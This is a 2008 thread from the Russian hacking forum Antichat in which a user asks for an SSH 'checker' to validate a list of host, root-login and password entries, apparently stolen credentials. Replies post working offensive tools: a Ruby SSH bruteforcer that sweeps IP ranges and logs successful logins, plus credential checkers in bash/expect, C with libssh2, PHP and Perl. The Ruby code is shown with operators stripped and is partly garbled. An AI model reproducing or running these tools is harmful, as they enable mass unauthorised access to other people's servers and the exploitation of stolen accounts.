ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Ssh чекер
  #1  
Старый 04.03.2008, 02:13
Аватар для KPOT_f!nd
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
Провел на форуме:
3405508

Репутация: 1745


Exclamation Ssh чекер

Сабж нужен любой Ssh чекер (под любую ОС Win/unix).
 
Ответить с цитированием

  #2  
Старый 04.03.2008, 02:25
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

есть брут)
PHP код:
#!/usr/bin/ruby

require 'rubygems'
require 'net/ssh'
require 'logger'
require 'timeout'

def usage()
puts "Rubby SSH Bruteforcer Coded by nrktx (backdoored.net)\n"
puts "Usage:./narko_ssh startip endip user_pass.txt iplist.txt\n"
end

if ARGV[0] == nil && ARGV[1] == nil && ARGV[2] == nil && ARGV[3] == nil
usage
()
exit
end

vicstart 
ARGV[0].to_s
vicend 
ARGV[1].to_s
vicfile 
ARGV[2].to_s
hostfile 
ARGV[3].to_s


def ipholocast
(startip,endip,vicfile)
    
# 31.31.31.31
    
index1 startip.index("."#3
    
index2 startip[index1+1..startip.length].index(".") + index1 1  #7
    
index3 startip[index2+1..startip.length].index(".") + index2 +1   #10
    
    
ip1 startip[0...index1].to_i
    ip2 
startip[index1+1...index2].to_i
    ip3 
startip[index2+1...index3].to_i
    ip4 
startip[index3+1...startip.length].to_i

    index1 
endip.index("."#3
        
index2 endip[index1+1..endip.length].index(".") + index1 1  #7
        
index3 endip[index2+1..endip.length].index(".") + index2 +1   #10

    
ipe1 endip[0...index1].to_i
        ipe2 
endip[index1+1...index2].to_i
        ipe3 
endip[index2+1...index3].to_i
        ipe4 
endip[index3+1...endip.length].to_i
            
           
for m in 0...255
                next 
if ip1 254
          
if ip1 == 254
            ip1 
0
          end
         
for l in 0...255
          next 
if ip2 254
             
if ip2 == 254
            ip2 
0
             end
            
for k in 0...255
              next 
if ip3 254
            
if ip3 == 254
             ip3 
0
            end
            

######################
            
for i in 0...255
              next 
if ip4 254 
                 
if ip4 == 254 
                ip4 
0
                 end
                victim 
ip1.to_s "." ip2.to_s "." ip3.to_s "." ip4.to_s
                failed 
1
                    open
(vicfile.to_s,"r") do |hoho|
                     
hoho.readlines.each do |lines|
                    
owned open("lamer.txt","a+")
 
                    
lines.index(":")
                         
username lines[0...z]
                     
password lines[z+1..lines.length].to_s.chop
                     puts 
"Now trying Host = " victim " Username = " username " Password = " password
                    timeout
(5) do
                    
begin  
                    session 
=  Net::SSH.start(victim,22,username,password,
                             :
host_key => "ssh-rsa",
                             :
encryption => "blowfish-cbc"
                            
# :compression => "zlib"
                                 
)
                        
rescue Errno::ECONNREFUSED => h
                        failed 
1
                        rescue Timeout
::Error => f                        
                        failed 
1
                        rescue Net
::SSH::AuthenticationFailed => e
                        failed 
1
                        rescue Errno
::EHOSTUNREACH => x
                        failed 
1                        
                        end
                     end
                      
if failed != 1
                       owned
.write victim ":" username ":" password "\n"
                       
owned.close()
                      
end
                      failed 
0
                    end
                 end
                           
if ip1 == ipe1 && ip2 == ipe2 && ip3 == ipe3 && ip4 == ipe4
                            puts 
"SCAN DONE\n"
                            
exit
                           
end
            ip4 
ip4 1
            
            end




#######################



                
ip3 ip3 +1
            end    
            ip2 
ip2 +1
                       end
            ip1 
ip1 +1
            end
end

#########################################################
def ipholocast2(vicfile,hostfile)
 
open(hostfile.to_s,"r") do |deads|
   
deads.readlines.each do |zombie|
    
zombie.chop   
     failed 
0
      open
(vicfile.to_s,"r") do |hoho|
        
hoho.readlines.each do |lines|
        
owned open("lamer.txt","a+")
        
lines.index(":")
        
username lines[0...z]
        
password lines[z+1..lines.length].chop
        
#puts "Now trying Host = " + zombie + " Username = " + username + " Password = " + password
           
timeout(5) do
        
begin
               session 
=  Net::SSH.start(zombie,22,username,password,
                   :
host_key => "ssh-rsa",
                   :
encryption => "blowfish-cbc"
                   
# :compression => "zlib"
                   
)
           
rescue Errno::ECONNREFUSED => haha
           failed 
1         
                   rescue Timeout
::Error => f
           failed 
1
           rescue Net
::SSH::AuthenticationFailed => e
           failed 
1
           rescue Errno
::EHOSTUNREACH => x
                   failed 
1
                   end
        end
                  
if failed != 1
                      owned
.write zombie.chop ":" username ":" password "\n"
                      
owned.close()
                      
end
                   failed 
0
          end
           end
         end
       end
end
#################################################

if hostfile.to_i == 1
ipholocast
(vicstart,vicend,vicfile)
end
ipholocast2
(vicfile,hostfile
__________________
 
Ответить с цитированием

  #3  
Старый 04.03.2008, 02:32
Аватар для KPOT_f!nd
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
Провел на форуме:
3405508

Репутация: 1745


По умолчанию

Благодарю за брут, хотя можно было переписать данный брут под чекер, но ми не сечь в Ruby (... Просто имеет база виде

194.334.5.7 root &k234m^
и т.д ... Нужен софт или скрипт чекер на валидность....
 
Ответить с цитированием

  #4  
Старый 04.03.2008, 07:26
Аватар для DarkMist
DarkMist
Участник форума
Регистрация: 20.02.2007
Сообщений: 173
Провел на форуме:
1487028

Репутация: 53
Отправить сообщение для DarkMist с помощью ICQ
По умолчанию

рыдаю
не выдержал , извините эмоции..
 
Ответить с цитированием

  #5  
Старый 04.03.2008, 18:31
Аватар для Ky3bMu4
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию

Вот, держи: expect + bash
ssh.sh - сам чекер. В качаестве параметра даётся файл с содержанием localhost root pass ...
Валидные акки идут в файл good-ssh
Код:
#!/bin/bash

if [ $# > 0 ]; then 
	file=`cat $1`
	t=0
	for i in ${file[@]/\r\n//}
	do
		case $t in
			0) host=$i ;;	
			1) user=$i ;;
			*) pass=$i 
			t=0
			expect ./ssh.exp $host $user $pass > /dev/null
			if [ $? = 1 ]; then
				echo "$host $user $pass" >> good-ssh
			fi
		esac
		let "t+=1"
	done	
else 
	echo "Use: $0 file"
fi
ssh.exp - работа с ssh на expect . Положить рядом с ssh.sh
Код:
#!/usr/bin/expect

proc  auth {1 2 3} {
	global result
	spawn ssh "$2@$1"
	expect { 
		"Password:" { send "$3\r" }
		
		timeout { 
			set result 0
			return 0 
		}
		"known" { 
			set result 0
			return 0 
		}
		"yes" { send "yes\r" }

	}
	expect {
		"Password:" { 
			set result 0
			return 0
		}
		"denied" {
			set result 0
			return 0 
		}
		-ex "$" {
			send "quit\r"
			set result 1
			return 1
		}
		-ex "#" {
			send "quit\r"
			set result 1
			return 1
		}
		timeout { 
			set result 0
			return 0 
		}

	}

}

set i 1
foreach arg $argv {
	if { $i == 1 } { set host $arg }
	if { $i == 2 } { set login $arg }
	if { $i == 3 } { set pass $arg }
	incr i
}
	auth $host $login $pass
	exit $result

Последний раз редактировалось Ky3bMu4; 05.03.2008 в 11:35..
 
Ответить с цитированием

  #6  
Старый 05.03.2008, 15:17
Аватар для krypt3r
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

На сях. Код не оптимизированный да и сильно не тестировал. Просьба сильно за код не пинать))
Юзает http://kent.dl.sourceforge.net/sourceforge/libssh2/libssh2-0.18.tar.gz
Код:
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <libssh2.h>

#define MAX_SIZE 0xff

FILE *f;
char *hostloginpass [3];
int sock;
//LIBSSH2_SESSION *session;

void usage (char *name)
{
  printf ("Usage: %s [input_file]\n", name);
}

void clear_file ()
{
  fclose (f);
}

void clear_file_and_array ()
{
  int i;

  fclose (f);
  for (i = 0; i < 3; i++)
  {
    //printf ("LOL: %s\n", hostloginpass [i]);
    free (hostloginpass [i]);
  }
  //clear_file ();
}

void clear_file_and_array_and_socket ()
{
  int i;
  //printf ("HOST: %s\n", hostloginpass [0]);
  close (sock);
  fclose (f);
  for (i = 0; i < 3; i++)
  {
    //printf ("LOL: %s\n", hostloginpass [i]);
    free (hostloginpass [i]);
  }
  //clear_file_and_array ();
}

int create_socket (char *host, int port)
{
  int s;
  struct sockaddr_in sin;
  int i = 1, failed = 1;

  if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0)
    return -1;
  memset (&sin, '\0', sizeof (struct sockaddr_in));
  sin.sin_family = AF_INET;
  sin.sin_port = htons (port);
  sin.sin_addr.s_addr = inet_addr (host);
  /*if (bind (s, (struct sockaddr *) &sin, sizeof (struct sockaddr_in)) < 0)
    return -2;*/
  while ((i < 10) && (failed == 1))
  {
  if (connect (s, (struct sockaddr *) &sin, sizeof (struct sockaddr_in)) < 0)
  {
    //printf ("I: %d\nFAILED: %d\n", i, failed);
    i++;
  }
  else
    failed = 0;
    //return -2;
  }
  //printf ("I: %d\nFAILED: %d\n", i, failed);
  if (i == 10)
    return -2;
  return s;
}

int testlogin (int s, char *login, char *pass)
{
  LIBSSH2_SESSION *session;
  int res;
  char *fp;

  session = libssh2_session_init ();
  if (libssh2_session_startup (session, s))
  {
    return -1;
  }
  /*fp = libssh2_userauth_list (session, login, strlen (login));
  printf ("FP: %s\n", fp);*/
  if (libssh2_userauth_password (session, login, pass))
    res = 0;
  else
    res = 1;
  libssh2_session_free (session);
  return res;
}

int main (int argc, char **argv)
{
  char fname [MAX_SIZE];
  static char line [MAX_SIZE];
  int line_count/*, is_first_line = 1*/;
  unsigned char i;
  char *pline, *find_char;
  struct stat st;
  FILE *f;
  struct sockaddr_in sin;

  if (argc != 2)
  {
    usage (argv [0]);
    return 0;
  }
  bzero (fname, MAX_SIZE);
  bzero (&st, sizeof (struct stat));
  strncpy (fname, argv [1], strlen (argv [1]));
  if ((stat (fname, (struct stat *) &st)) < 0)
  {
    printf ("%s: stat() error: %s\n", fname, strerror (errno));
    return -1;
  }
  //printf ("STAT: %lo\n", st.st_mode & S_IFREG);
  if ((st.st_mode & S_IFREG) != S_IFREG)
  {
    printf ("%s: not regular file or symlink.\n", fname);
    return -1;
  }
  if ((f = fopen (fname, "r")) == NULL)
  {
    printf ("%s: open failure. Error: %s\n", fname, strerror (errno));
    return -1;
  }
  while (!feof (f))
  {
    bzero (line, MAX_SIZE);
    if (fgets (line, MAX_SIZE, f) != NULL)
    {
      if (sizeof (line) > MAX_SIZE)
      {
        printf ("Segmentation fault :)\n");
        fclose (f);
        return -1;
      }
      *(unsigned char *) (line + strlen (line) - 1) = '\0';

      /*if (is_first_line)
      {
        line_count = atoi (line);
        is_first_line = 0;
        continue;
      }*/
      pline = find_char = line;
      while ((find_char = strchr (find_char, 0x20)) != NULL)
      {
        (*(unsigned char *) find_char) = '\0';
        find_char++;
        //printf ("FIND_CHAR: %s\nLINE: %s\n", find_char, pline);
      }
      //printf ("HOST: %s\n", pline);
      //pline += (strlen (pline) + 1);
      for (i = 0; i < 3; i++)
      {
        if ((hostloginpass[i] = calloc (strlen (pline), 1)) == NULL)
        {
          printf ("calloc() error: %s\n", strerror (errno));
          fclose (f);
          return -1;
        }
        strncpy (hostloginpass [i], pline, strlen (pline));
        pline += (strlen (pline) + 1);
      }
      //printf ("USER: %s\n", hostloginpass [2]);

      sock = create_socket (hostloginpass [0], 22);
      //printf ("USER: %s\n", hostloginpass [0]);
      switch (sock)
      {
        case -1:
          printf ("socket1() error: %s\n", strerror (errno));
          clear_file_and_array ();
          return -1;
          break;
        case -2:
          printf ("socket2() error: %s\n", strerror (errno));
          //printf ("USER: %s\n", hostloginpass [0]);
          clear_file_and_array_and_socket ();
          return -1;
          break;
        default:
          break;
      }
      //printf ("Socket Created\n");
      printf ("Trying %s:%s on host %s... ", hostloginpass [1], hostloginpass [2], hostloginpass [0]);
      switch (testlogin (sock, hostloginpass [1], hostloginpass [2]))
      {
        case -1:
          printf ("ssh_connect() error: %s\n", strerror (errno));
          clear_file_and_array_and_socket ();
          return -1;
          break;
        case 0:
          printf ("- fail\n");
          break;
        case 1:
          printf ("- ok\n");
          break;
        default:
          break;
      }
      close (sock);

      for (i = 0; i < 3; i++)
        free (hostloginpass [i]);
      //printf ("%s", line);
    }
  }
  fclose (f);
  return 0;
}
 
Ответить с цитированием

  #7  
Старый 06.03.2008, 08:45
Аватар для krypt3r
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Еще одна чекалка, теперь и на php. Необходимо расширение ssh2.so
PHP код:
#!/usr/bin/php

<?php
  
function testlogin ($host$user$pass)
  {
    
$connect ssh2_connect ($host22);
    if (!
$connect)
      return -
1;
    if (
ssh2_auth_password ($connect$user$pass))
      return 
1;
    else
      return 
0;
  }

  
error_reporting (0);
  if (
$argc == 1)
    die (
"usage: " $_SERVER['PHP_SELF'] . "[input_file]\n");
  
$fname $argv[1];
  if (!
is_file ($fname) && !is_link ($fname))
    die (
$fname ": not regular file or symlink\n");
  if (!
is_readable ($fname))
    die (
$fname ": reading error\n");
  
$content file ($fname);
  foreach (
$content as $line)
  {
    
$line preg_replace ("/\n/"""$line);
    list (
$host$user$pass) = explode (" "$line);
    
//echo $host . ":" . $user . ":" . $pass . "\n";
    
echo "Trying $user:$pass on host $host - ";
    switch (
testlogin ($host$user$pass))
    {
      case 
1:
        echo 
"ok\n";
        break;
      case 
0:
        echo 
"fail\n";
        break;
      default:
        echo 
"connection refused\n";
        break;
    }
  }
?>
 
Ответить с цитированием

  #8  
Старый 07.03.2008, 11:17
Аватар для krypt3r
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Ну и по просьбе трудящихся на перле. Необходим модуль Net::SSH2
Код:
#!/usr/bin/perl

use Fcntl ':mode';
use Net::SSH2;
###### Config options ######
$input_file = 'ssh.txt';
$bad_file = 'bad.txt';
$good_file = 'good.txt';
############################

$res = getfilestat ($input_file);
die $input_file . ": error: " . $! . "\n" if ($res < 0);

open (INPUT, "<$input_file") || die "$input_file: error: " . $! . "\n";
open (BAD, ">$bad_file") || die "$bad_file: error: " . $! . "\n";
open (GOOD, ">$good_file") || die "$good_file: error: " . $! . "\n";
while (<INPUT>)
{
  $_ =~ s/\n$//;
  $_ =~ s/\s*$//;
  $_ =~ s/^\s*//;
  $_ =~ s/\s+/ /g;
  ($host, $user, $pass) = (split (/ /, $_))[0,1,2];
  $ssh = Net::SSH2->new ();
  $ssh->connect ($host, 22) || die "$host: connection refused: " . $! . "\n";
  print "Trying $host\@$user:$pass...\n";
  $islogin = $ssh->auth_password ($user, $pass);
  if (!$islogin)
  {
    print BAD "$host\@$user:$pass\n";
  }
  else
  {
    print GOOD "$host\@$user:$pass\n";
  }
}
close GOOD;
close BAD;
close INPUT;
print "Checking complete\n";
exit 0;

sub getfilestat ($)
{
  my ($fname) = @_;
  my ($mode);

  $mode = (stat ($fname))[2];
  (($mode & S_IFREG) == S_IFREG) ? return 0 : return -1;
}
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ssh - Вопросы Slon *nix 5 12.11.2008 03:23
Пару сайтов, доступ по ssh fYt Доступы, shells, ftp - Покупка, продажа 1 29.01.2008 10:50
Хостинг (Посмарите оч интересно) Ssh Ssl _Roberto_ Хостинг, Dedicated, VDS, Сервера - Покупка, продажа 0 26.12.2007 17:48
Отдам чекер ICQ 2 20.06.2004 03:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ